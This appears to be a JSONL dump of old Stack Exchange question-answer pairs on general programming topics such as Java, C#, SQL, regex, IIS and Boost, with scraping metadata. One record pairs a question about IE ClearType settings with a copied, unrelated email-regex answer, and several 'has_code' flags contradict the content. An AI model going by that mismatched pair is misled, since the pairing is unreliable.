{"id": "hf_3151a11868bf", "question": "<p>I had experience with struts, and briefly experimented with tiles.  I know that within a layout each tile is a separate jsp page.  Suppose I hit a  button on each of four tiles, and each tile was (indirectly) calling a different web service.  Would the tiles refresh asynchronously as results came in at different times?</p>\n", "question_body": "", "answer": "I think it would depend on the code in the background.  You say that the tiles were indirectly calling web services.  I would think it would refresh asynchronously unless you specified in your code for it not to do so.  Say you push button 1 and then button 2.  Action 1 comes back and your code says that the screen needs to be updated and the page will refresh.  Once action 2 gets back, your code would again update the screen.  I believe this is how it works, but having never tried it, I can't be sure.\nWhy not just throw together a two tiled test page with buttons and try it out.  That should give you a definitive answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.542672"}
{"id": "hf_67dc075078a5", "question": "<p>I'm mostly a .Net person at the moment, but I've been playing with Java some lately-- exploring what's out there.</p>\n\n<p>Now I'm looking for the Java equivalent for WPF.  I know I could find an OpenGL library or two out there, but that's not really as rich or simple as the WPF system.</p>\n", "question_body": "", "answer": "I think a combination of JavaFX, Swing, Java2D, and Java's browser-based JRE comprise the solutions that WPF provides:\nJavaFX applications (actually, any Java app) can run in the browser or on a desktop\nJavaFX provides high-end video support\nJavaFX provides for scripted animations and visual special effects\nSwing provides UI capabilities, and can be used in both Java and JavaFX\nJava2D, which provides the underpinnings for all drawing tasks (including Swing), takes advantage of hardware acceleration and DirectX support\nThe JRE on the desktop or the browser enable Java applications to be deployed to multiple environments (including other screens, like set-top boxes or phones)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.567102"}
{"id": "hf_ed15f6e51ed2", "question": "<p>Is it possible to call a constructor from another (within the same class, not from a subclass)? If yes how? And what could be the best way to call another constructor (if there are several ways to do it)?</p>\n", "question_body": "", "answer": "Yes, it is possible:\n```\n```\npublic class Foo {\n    private int x;\n\n    public Foo() {\n        this(1);\n    }\n\n    public Foo(int x) {\n        this.x = x;\n    }\n}\n```\n```\nTo chain to a particular superclass constructor instead of one in the same class, use\n```\nsuper\n```\ninstead of\n```\nthis\n```\n. Note that\nyou can only chain to one constructor\n, and\nit has to be the first statement in your constructor body\n.\nSee also\nthis related question\n, which is about C# but where the same principles apply.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.643250"}
{"id": "hf_476fe134a1bc", "question": "<p>I have a database table (sql server 2008) that I want to view data for, what is the quickest way of displaying this data?</p>\n\n<p>(if it could have paging that would be perfect).</p>\n\n<p>Would it be a gridview or ?</p>\n\n<p>query: select * from testData</p>\n", "question_body": "", "answer": "if you're using .NET 3.5 you could use ASP.NET Dynamic Data:\nhttp://www.asp.net/dynamicdata/\nHope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.667833"}
{"id": "hf_a2d987f6e7e9", "question": "<p>Can Spirit (part of Boost C++ library) be used to parse out binary data coming from a stream?  For example, can it be used to parse data coming from a socket into structures, bytes, and individual bit flags?  Thanks!</p>\n", "question_body": "", "answer": "Boost Spirit allows for a parser to be defined using\nExtended Backus–Naur Form (EBNF)\nsyntax with\ntemplate meta-programming\n. It is very flexible and uses abstract classes in all phases of the parsing process that can be customized. In order to process a binary data stream, you would need to implement custom scanner classes since the default types are tailored for text input. You can read further in\nThe Scanner and Parsing\nsection of the\nSpirit User's Guide\n.\nIn my humble opinion, binary data streams are best handled with hand rolled serialization code. Spirit is geared more towards well formed grammars like mark-up or scripting languages. For example,\nThe Complete Syntax of Lua\nis provided in EBNF. So, it might make sense to use Spirit to build a custom parser. On the other hand, a proprietary serial data link with synchronization bytes and CRC bracketing messages would require a lot more work just to define the EBNF if a\ncontext-free grammar\neven exists for it.\nAddendum\nThe latest version of Boost Spirit includes functionality for dealing with binary data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.691721"}
{"id": "hf_d2f34908a210", "question": "<p>We are looking to improve our marketing email list by preventing fake emails from entering in the first place.  We want to confirm that an email address exists (and that there is actually a mailbox for that email address).  </p>\n\n<p>Does anyone know of any services or components to validate an email address?  </p>\n", "question_body": "", "answer": "the following regular expression is an example of how you could validate an email address is in the correct general format:\n```\n```\n(\\w+@[a-zA-Z_]+?\\.[a-zA-Z]{2,6})\n```\n```\nFor security reasons, very few email servers provide a function to remotely validate whether or not a mailbox exists, so it is very unlikely a service could provide this information with any reliability.\nHope this helps!\nAdam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.716666"}
{"id": "hf_34ad6ec7a974", "question": "<p>I'm embedding an IE control into my C++ application. The problem is that although system-wide, ClearType is disabled, IE7 has its own separate setting, and unless I specifically disable that too, text inside the IE control will be antialiased while the rest of the app will not.</p>\n\n<p>The same goes for IE7's font size setting.</p>\n\n<p>It wouldn't be a problem for me to set up IE7 accordingly, but it would affect the experience of users of my app. Can the IE control's cleartype usage and font size be programmatically controlled?</p>\n", "question_body": "", "answer": "the following regular expression is an example of how you could validate an email address is in the correct general format:\n```\n```\n(\\w+@[a-zA-Z_]+?\\.[a-zA-Z]{2,6})\n```\n```\nFor security reasons, very few email servers provide a function to remotely validate whether or not a mailbox exists, so it is very unlikely a service could provide this information with any reliability.\nHope this helps!\nAdam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.744798"}
{"id": "hf_8412dec93f71", "question": "<p><strong>SQL Server 2000:</strong> Is there a way to find out server memory / CPU parameters in Query Analyzer?</p>\n", "question_body": "", "answer": "Not that I know of. You'll have to look in\n```\nperfmon\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.781059"}
{"id": "hf_91472de33227", "question": "<p>We have a system where customers, mainly European enter texts (in UTF-8) that has to be distributed to different systems, most of them accepting UTF-8, but now we must also distribute the texts to a US system which only accepts US-Ascii 7-bit</p>\n\n<p>So now we'll need to translate all European characters to the nearest US-Ascii. Is there any Java libraries to help with this task?</p>\n\n<p>Right now we've just started adding to a translation table, where Å (swedish AA)->A and so on and where we don't find any match for an entered character, we'll log it and replace with a question mark and try and fix that for the next release, but it seems very inefficient and somebody else must have done something similair before.</p>\n", "question_body": "", "answer": "There are some built in functions to do this. The main class involved is\n```\nCharsetEncoder\n```\n, which is part of the\n```\nnio\n```\npackage. A simpler way is\n```\nString.getBytes(Charset)\n```\nthat can be sent to a\n```\nByteArrayOutputStream\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.805030"}
{"id": "hf_effdc5955a2e", "question": "<p>To be able to upload large files from a HTML page to a FTP server, I am looking for a Java/Flash FTP upload applet.</p>\n\n<p>I really like the way <a href=\"http://www.dhtmlx.com/docs/products/dhtmlxVault/index.shtml\" rel=\"noreferrer\">dhtmlxVault</a> works, but I need it to upload to a FTP server instead of a HTTP file upload.</p>\n\n<p>It would be really nice if the applet has no GUI of it's own, but instead is fully scriptable using Javascript so I can use HTML/CSS for it's appearance.</p>\n\n<p>I hopefully looked into <a href=\"http://developer.yahoo.com/yui/uploader/\" rel=\"noreferrer\">Yahoo!'s YUI Uploader</a> since it requires Flash, but the documentation only mentions HTTP upload and no FTP upload.</p>\n", "question_body": "", "answer": "I tried the\nZUpload\nJava applet.\nPro's:\nThe user interface works as easy as I could hope it to work.\nIt is a Java applet with it's own GUI, but I was able to implement some Javascript callbacks in it to update progress information in HTML. I would be able to minimize the GUI further.\nCon's:\nWhen an upload failes (when the FTP server tells it it is to busy, please retry in a moment) it thinks the upload succeeded and goes on with the next file. I tried to catch the exceptions but was unable to do so because of either the way j-ftp is used in the applet or my own lack of knowledge.\nThe project seems to be dead since 2003, so I don't expect any updates.\nSo my conclusion it that it is not ready to be used in a production environment. I still need a better solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.829073"}
{"id": "hf_3296ae9758ff", "question": "<p>Firstly I'm extending an existing class structure and cannot alter the original, with that caveat:</p>\n\n<p>I would like to do this:</p>\n\n<pre><code>class a\n{\n   int val;\n\n   ... // usual constructor, etc...\n\n   public int displayAlteredValue(int inp)\n   {\n     return (val*inp);\n   }\n}\n\nclass b extends a\n{\n   ... // usual constructor, etc...\n\n   public in displayAlteredValue(int inp1, int inp2)\n   {\n     return (val*inp1*inp2);\n   }\n}\n</code></pre>\n\n<p>As I said before I cannot alter <code>class a</code> and I want to maintain the function name <code>displayAlteredValue</code> rather than making a new function.\nIf this can be done I only have to change a few instantiations of <code>a</code> to instantiations of <code>b</code>. I don't want to spend a lot of time replacing the many function calls to <code>displayAlteredValue</code>. (And yes I do realise there are such things as search and replace however for other reasons, doing that would be problematic).</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "what if you add this to your derived class\n```\n```\npublic int displayAlteredValue(int inp)\n{\n  return super.displayAlteredValue(inp);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.853297"}
{"id": "hf_265b6da11410", "question": "<p>What are differences between enabling and disabling \"Enable 32-Bit applications\" in websites application pools under IIS7 on x64 machine?</p>\n\n<p>Mostly I'm thinking about memory usage.</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "I believe the current \"trend\" for hosting like this is to have each site with its own Application Pool, and each application pool running in 32 bitness. This enables Application Pool isolation, and allows each site/application pool to be limited to 4gb of memory, which basically works out to about 2.4 GB before asp.net recycles given the 60% memory threshold.\nIf you have an individual site that requires more memory, you'd change that application pool to x64, allowing for a much larger application pool.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.889291"}
{"id": "hf_95d934bd4796", "question": "<p>I have a number of string arrays. The string in every array are ordered the same way, according the same criteria. However, some string may be missing from some arrays, and there may be no array that has a complete set of strings. Moreover, the criteria used to compare the strings is not available to me: outside of the context of the array, I cannot tell which string should precede another.</p>\n\n<p>I need a way to produce a complete set of strings, properly ordered. Or fail when the arrays do not have enough information for me to do so.</p>\n\n<p>Is anyone familiar with this kind of problem? What is the proper algorithm?</p>\n\n<p>Examples:</p>\n\n<pre><code>A B D\nA C D\n</code></pre>\n\n<p>Can't order correctly, can't decide the order of B and C </p>\n\n<pre><code>A B D\nA B C\nA C D\n</code></pre>\n\n<p>This has enough information to order ABCD correctly.</p>\n", "question_body": "", "answer": "How many sets will you have? Something that might work if they aren't too sparse is:\nIterate over the first element of\nall arrays counting how common each\nstring is.\nWhichever element is the most common\nis selected.\nCheck each element of all\narrays for said string.\nIf it exists in any element other than the first of an array, the first element of\nits parent array is selected and goto step 3.\nRemove the selected element from the\nfirst element of all arrays/trees\nand add it to the end of your output\nlist.\nGoto 1 until all elements are\nremoved.\nIf you dumped the arrays into\nb-trees\nthe element search could be pretty fast. You may also be able to further speed up step 3 by playing with the order of the arrays. I'm still thinking about that.\nIf the arrays are very sparse the only thing I can think of is to use some kind of supervised machine learning to try to determine the proper method for ordering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:09.937579"}
{"id": "hf_5bb84fcd2921", "question": "<p>I've got an SQL query that looks like this:</p>\n\n<pre><code>INSERT INTO DB..incident\n( \n    incident_number        --nvarchar(10)\n)\nVALUES \n(\n    N'I?'\n)\n</code></pre>\n\n<p>What does the ? do in the value statement?</p>\n\n<p>EDIT:: Turns out there's some funny business via triggers and custom datatypes that occur on insert (we've got a bit of a messed up DB.) Given normal settings I've marked the answer appropriately.</p>\n", "question_body": "", "answer": "At the risk of sounding flippant... Nothing... It puts an I? into the field... Try this...\n```\n```\nDECLARE @TestTable TABLE (test NVARCHAR(10))\n\nINSERT INTO @TestTable (\n    test\n) VALUES ( \n    N'I?' ) \n\nSELECT * \nFROM  @TestTable\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.046849"}
{"id": "hf_726bdc03514d", "question": "<p>Is there a way to have the compile deduce the template parameter automatically?</p>\n\n<pre><code>template&lt;class T&gt; \nstruct TestA \n{\n    TestA(T v) {} \n};\ntemplate&lt;class T&gt;\nvoid TestB(T v)\n{\n}\nint main()\n{\n    TestB (5);\n}\n</code></pre>\n\n<p>Test B works fine, however when i change it to TestA it will not compile with the error \" use of class template requires template argument list\"</p>\n", "question_body": "", "answer": "No, there isn't. Class templates are never deduced. The usual pattern is to have a\n```\nmake_\n```\nfree function:\n```\n```\ntemplate<class T> TestA<T> make_TestA(T v)\n{\n    return TestA<T>(v);\n}\n```\n```\nSee\n```\nstd::pair\n```\nand\n```\nstd::make_pair\n```\n, for example.\nIn C++0x you will be able to do\n```\n```\nauto someVariable = make_TestA(5);\n```\n```\nto avoid having to specify the type for local variables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.095113"}
{"id": "hf_c7d6bb459d23", "question": "<p>We have a web service that uses up more and more private bytes until that application stops responding.  The managed heap (mostly Gen2) will show some 200-250 MB, while private bytes shows over 1GB.  What are possible causes of a memory leak outside of the managed heap?</p>\n\n<p>I've already checked for the following:</p>\n\n<ol>\n<li>Prolific dynamic assemblies (Xml serialization, regex, etc.)</li>\n<li>Session state (turned off)</li>\n<li>System.Policy.Evidence memory leak (SP1 installed)</li>\n<li>Threading deadlock (no use of Join, only lock)</li>\n<li>Use of SQLOLEDB (using SqlClient)</li>\n</ol>\n\n<p>What other sources can I check for?</p>\n", "question_body": "", "answer": "Make sure your app is complied in release mode.  If you compile under debug mode, and deploy that, simply instantiating a class that has an event defined (event doesn't even need to be raised), will cause a small piece of memory to leak.  Instantiating enough of these objects over a long enough period of time will cause all the memory to be used.  I've seen web apps that would use up all the memory within a matter of hours, simply because a debug build was used.  Compiling as a release build immediately and permanently fixed the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.131190"}
{"id": "hf_9e605eaea439", "question": "<p>I'm looking for a Python module that would take an arbitrary block of text, search it for something that looks like a date string, and build a DateTime object out of it.  Something like <a href=\"http://search.cpan.org/~sartak/Date-Extract-0.03/lib/Date/Extract.pm\" rel=\"noreferrer\">Date::Extract</a> in Perl</p>\n\n<p>Thank you in advance.</p>\n", "question_body": "", "answer": "The nearest equivalent is probably the\ndateutil\nmodule.  Usage is:\n```\n```\n>>> from dateutil.parser import parse\n>>> parse(\"Wed, Nov 12\")\ndatetime.datetime(2008, 11, 12, 0, 0)\n```\n```\nUsing the fuzzy parameter should ignore extraneous text.  ie\n```\n```\n>>> parse(\"the date was the 1st of December 2006 2:30pm\", fuzzy=True)\ndatetime.datetime(2006, 12, 1, 14, 30)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.167085"}
{"id": "hf_77585be0318f", "question": "<p>I have some global variables in a Python script. Some functions in that script call into C - is it possible to set one of those variables while in C and if so, how?</p>\n\n<p>I appreciate that this isn't a very nice design in the first place, but I need to make a small change to existing code, I don't want to embark on major refactoring of existing scripts.</p>\n", "question_body": "", "answer": "I'm not a python guru, but I found this question interesting so I googled around.\nThis\nwas the first hit on \"python embedding API\" - does it help?\nIf the attributes belong to the global\n  scope of a module, then you can  use\n  \"PyImport_AddModule\" to get a handle\n  to the module object. For  example, if\n  you wanted to get the value of an\n  integer in the\nmain\nmodule named\n  \"foobar\", you would do the following:\n```\n```\nPyObject *m = PyImport_AddModule(\"__main__\");\nPyObject *v = PyObject_GetAttrString(m,\"foobar\");\n\nint foobar = PyInt_AsLong(v);\n\nPy_DECREF(v);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.289439"}
{"id": "hf_83029cf8e89d", "question": "<p>Hi Guys I'm very new to regex, can you help me with this.</p>\n\n<p>I have a string like this <code>\"&lt;input attribute='value' &gt;\"</code> where <code>attribute='value'</code> could be anything and  I want to get do a <code>preg_replace</code> to get just <code>&lt;input /&gt;</code></p>\n\n<p>How do I specify a wildcard to replace any number of any characters in a srting?</p>\n\n<p>like this? <code>preg_replace(\"/&lt;input.*&gt;/\",$replacement,$string);</code></p>\n\n<p>Many thanks</p>\n", "question_body": "", "answer": "What you have:\n```\n```\n.*\n```\n```\nwill match \"any character, and as many as possible.\nwhat you\nmean\nis\n```\n```\n[^>]+\n```\n```\nwhich translates to \"any character, thats not a \">\", and there must be at least one\nor altertaively,\n```\n```\n.*?\n```\n```\nwhich means\n\"any character, but only enough to make this rule work\"\nBUT DONT\nParsing HTML with regexps is\nBad\nuse any of the existing html parsers, DOM librarys, anything, Just NOT NAïVE  REGEX\nFor example:\n```\n```\n<foo attr=\">\">\n```\n```\nWill get grabbed wrongly by regex as\n```\n```\n'<foo attr=\" ' with following text of '\">'\n```\n```\nWhich will lead you to this regex:\n```\n```\n`<[a-zA-Z]+( [a-zA-Z]+=['\"][^\"']['\"])*)>  etc etc\n```\n```\nat which point you'll discover this lovely gem:\n```\n```\n<foo attr=\"'>\\'\\\"\">\n```\n```\nand your head will explode.\n( the syntax highlighter verifies my point, and incorrectly matches thinking i've ended the tag. )", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.325966"}
{"id": "hf_05b2fdc2ea5c", "question": "<p>If I have 2 DataTables (dtOne and dtTwo) and I want to merge them and put them in another DataTable (dtAll).  How can I do this in C#?  I tried the Merge statement on the datatable, but this returns void.  Does Merge preserve the data?  For example, if I do:</p>\n\n<pre><code> dtOne.Merge(dtTwo);\n</code></pre>\n\n<p>Does dtOne change or does dtTwo change and if either one changes, do the changes preserve?</p>\n\n<p>I know I can't do this because Merge returns void, but I want to be able to store the Merger of both dtOne and dtTwo in dtAll:</p>\n\n<pre><code>//Will Not work, How do I do this\ndtAll = dtOne.Merge(dtTwo);\n</code></pre>\n", "question_body": "", "answer": "The\n```\nMerge\n```\nmethod takes the values from the second table and merges them in with the first table, so the first will now hold the values from both.\nIf you want to preserve both of the original tables, you could copy the original first, then merge:\n```\n```\ndtAll = dtOne.Copy();\ndtAll.Merge(dtTwo);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.351187"}
{"id": "hf_16734874ebae", "question": "<p>I have a little c# console program that outputs some text using Console.WriteLine. I then pipe this output into a textfile like:</p>\n\n<p><code>c:myprogram &gt; textfile.txt</code></p>\n\n<p>However, the file is always an ansi text file, even when I start cmd with the /u switch. \ncmd /? says about the /u switch:</p>\n\n<blockquote>\n  <p>/U    Causes the output of internal\n  commands to a pipe or file to be Unicode</p>\n</blockquote>\n\n<p>And it indeed makes a difference, when I do an </p>\n\n<p><code>c:echo \"foo\" &gt; text.txt</code></p>\n\n<p>the text.txt is unicode (without BOM)</p>\n\n<p>I wonder why piping the output of my console program into a new file does not create an unicode file likewise and how i could change that? </p>\n\n<p>I just use Windows Power Shell (which produces a unicode file with correct BOM), but I'd still like to know how to do it with cmd. </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "The /U switch, as the documentation says, affects whether\ninternal\ncommands generate Unicode output. Your program is not one of cmd.exe's internal commands, so the /U option does not affect it.\nTo create a Unicode text file, you need to make sure your program is generating Unicode text.\nEven that may not be enough, though. I came across\nthis blog from Junfeng Zhang\ndescribing how to write Unicode text in a console program. It checks the file type of the standard output handle. For character files (a console or LPT port), it calls WriteFileW. For all other types of handles (including disk files and pipes), it converts the output string to the console's current code page. I'm afraid I don't know how that translates into .Net terms, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.400715"}
{"id": "hf_107079f42691", "question": "<p>I am binding an SPGridView to a SPList. As code samples suggest, I am using the following code to create a dataview based on the list. </p>\n\n<pre><code>dim data as DataView = myList.Items.GetDataTable.DefaultView\ngrid.DataSource = data\netc...\n</code></pre>\n\n<p>What I am finding is that the column names in the resulting dataview do not always match the source fields defined in the SPList. For example I have columns named </p>\n\n<ul>\n<li>Description   </li>\n<li>ReportItem</li>\n<li><p>ReportStatus</p>\n\n<p>these show up in the resulting dataview with column names like </p></li>\n<li>ReportType0</li>\n<li>ReportStatus1</li>\n</ul>\n\n<p>This leads me to think that I have duplicate field names defined, but that does not seem to be the case.</p>\n\n<p>Seems like I am missing something fundamental here?\nThanks.</p>\n", "question_body": "", "answer": "The\n```\nGetDataTable\n```\nmethod is returning the\n```\ninternalName\n```\n(or\n```\nstaticName\n```\n-- I can't remember for sure which but they are frequently the same) representation of the columns, rather than the\n```\nTitle\n```\nrepresentation, which is what you see in the Web interface. I believe\n```\nGetDataTable\n```\ndoes a CAML query under the covers, and you have to use that\n```\ninternalName\n```\nfor field references in CAML.\nThis\nblog\ntalks about it in a little more detail.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.425493"}
{"id": "hf_4063de3e9cfc", "question": "<p>Please share how you do version control for Lotus Notes/Domino development.</p>\n\n<p>I want to put in our SVN repository all the scripts, views, custom forms, script libraries, etc.</p>\n\n<p>Semi-automated methods are accepted as well (i.e. if I find a way to get all the event scripts for a form in one file, and to be able to place it back in Notes Designer as a whole file).</p>\n", "question_body": "", "answer": "The short answer is that you aren't going to be able to do this reliably in an automated or semi automated way.  If DXL had full fidelity and full round-trip capability then you would be able to store DXL exports of the design elements in SVN, but there are places where DXL isn't good enough.\nThe only real version control you are gong to get is via propitiatory third part vendors like\nTeamStudio's CIAO\nproduct.\nUpdate:\nSome people have reported success in exporting elements in an encoded binary format that retains full fidelity on import.  This makes round tripping for the purpose of version control possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.462518"}
{"id": "hf_fa4896c3c8c8", "question": "<p>I am making a post from a .NET console app to a .NET web service.  I know that the timeout on the server side is 20 min, but if my client takes more than 100 seconds to post my data to that service then I get a timeout exception.  How would I tell my client to wait the available 20 min to timeout?</p>\n", "question_body": "", "answer": "on the client side, your webservice object has a timeout value. It should be pretty easy to set by going:\n```\n```\nmyServiceInstance.Timeout = 1200000\n```\n```\nfor 20 minutes", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.550567"}
{"id": "hf_668929a414da", "question": "<p>Let's say I have an html form.  Each input/select/textarea will have a corresponding <code>&lt;label&gt;</code> with the <code>for</code> attribute set to the id of it's companion. In this case, I know that each input will only have a single label.</p>\n\n<p>Given an input element in javascript &mdash; via an onkeyup event, for example &mdash; what's the best way to find it's associated label?</p>\n", "question_body": "", "answer": "Earlier...\n```\n```\nvar labels = document.getElementsByTagName(\"LABEL\"),\n    lookup = {},\n    i, label;\n\nfor (i = 0; i < labels.length; i++) {\n    label = labels[i];\n    if (document.getElementById(label.htmlFor)) {\n        lookup[label.htmlFor] = label;\n    }\n}\n```\n```\nLater...\n```\n```\nvar myLabel = lookup[myInput.id];\n```\n```\nSnarky comment: Yes, you can also do it with JQuery. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.575483"}
{"id": "hf_0963c39993e3", "question": "<p>Is there a way to determine if the loop is iterating for the last time. My code looks something like this:</p>\n\n<pre><code>int[] array = {1, 2, 3...};\nStringBuilder builder = new StringBuilder();\n\nfor(int i : array)\n{\n    builder.append(\"\" + i);\n    if(!lastiteration)\n        builder.append(\",\");\n}\n</code></pre>\n\n<p>Now the thing is I don't want to append the comma in the last iteration. Now is there a way to determine if it is the last iteration or am I stuck with the for loop or using an external counter to keep track.</p>\n", "question_body": "", "answer": "It might be easier to always append. And then, when you're done with your loop, just remove the final character. Tons less conditionals that way too.\nYou can use\n```\nStringBuilder\n```\n's\n```\ndeleteCharAt(int index)\n```\nwith index being\n```\nlength() - 1\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.600020"}
{"id": "hf_fb87faefd4fc", "question": "<p>Up till now all my programming experience has been desktop development (mostly C/C++ with OpenGL/DirectX) but I'm interested in trying my hand at some web dev.</p>\n\n<p>The two directions I'm considering are Ruby on Rails and ASP.net.  </p>\n\n<p>Which is most widely used?</p>\n\n<p>Which would be a more marketable skill to have?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Learning Ruby will help you learn a different way of thinking about programming. It will help you become a better programmer, even if you determine that it's not a language for you. The same applies to several other languages (including Python). There are fewer job opportunities for Ruby developers.\nASP.Net is a fairly pedestrian way to develop fairly pedestrian webapps that don't really challenge how you think as a programmer. Job and consulting opportunities are more common.\nFrom this point, it's your call. I chose Ruby six years ago.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:10.636552"}
{"id": "hf_2762080df32d", "question": "<p>I have a data acquisition program written in C++ (Visual Studio 6.0).  Some clients would like to control the software from their own custom software or LabView.  I would like to come up with a simple API with a dll I can distribute to them and would like some tips on how to get started.  This is going to be VERY basic, maybe 4 or 5 commands.  My DAQ program will still be running in its own window on the same machine, I would just like to set it up to be controlled from another program.</p>\n", "question_body": "", "answer": "You are on the right track with a DLL.  The real trick, it sounds like, will be deciding what sort of inter-process communication (IPC) you want to use.  Options are: sockets, pipes, shared memory, synchronization objects (events, etc.), files, registry, etc.\nOnce you decide that, then implement a listener within your executable to wait for incoming IPC messages from whatever software is using your DLL.\nAs far as the API is concerned, you can keep it simple just like you were wanting.  Have the DLL expose your 4 or 5 functions (make sure you only use native data types, like char* and long, to avoid module boundary issues), and then those will use your 